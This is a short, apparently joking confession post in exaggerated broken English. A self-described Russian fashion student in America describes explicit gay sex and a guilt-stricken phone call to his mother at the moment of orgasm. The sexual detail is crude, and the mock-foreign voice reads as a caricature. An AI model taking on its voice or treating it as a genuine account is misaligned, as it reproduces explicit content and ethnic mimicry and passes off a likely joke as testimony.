forgive english, i am Russia.i come to study clothing and fashion at American university. i am here little time and i am very hard stress. i am gay also and this very difficult for me, i am very religion person. i never act to be gay with other men before. but after i am in america 6 weeks i am my friend together he is gay also. He was show me American fashion and then we are kiss.wWe sex together. I never before now am tell my mother about gay because i am very shame. As i fock this American boy it is very good to me but also i am feel so guilty. I feel extreme guilty as I begin orgasm. I feel so guilty that I pick up my telephone and call Mother in Russia. I awaken her. It too late for stopping so I am cumming sex. I am very upset and guilty and crying, so I yell her, "I AM CUM FROM SEX" (in Russia). She say what? I say "I AM CUM FROM SEX" and she say you boy, do not marry American girl, and I say "NO I AM CUM FROM SEX WITH MAN, I AM IN ASS, I CUM IN ASS" and my mother very angry me. She not get scared though.I hang up phone and am very embarrass. My friend also he is very embarrass. I am guilt and feel very stupid. I wonder, why do I gay with man? But I continue because when it spurt it feel very good in American ass.
Am I alone here?
Feels like I am.
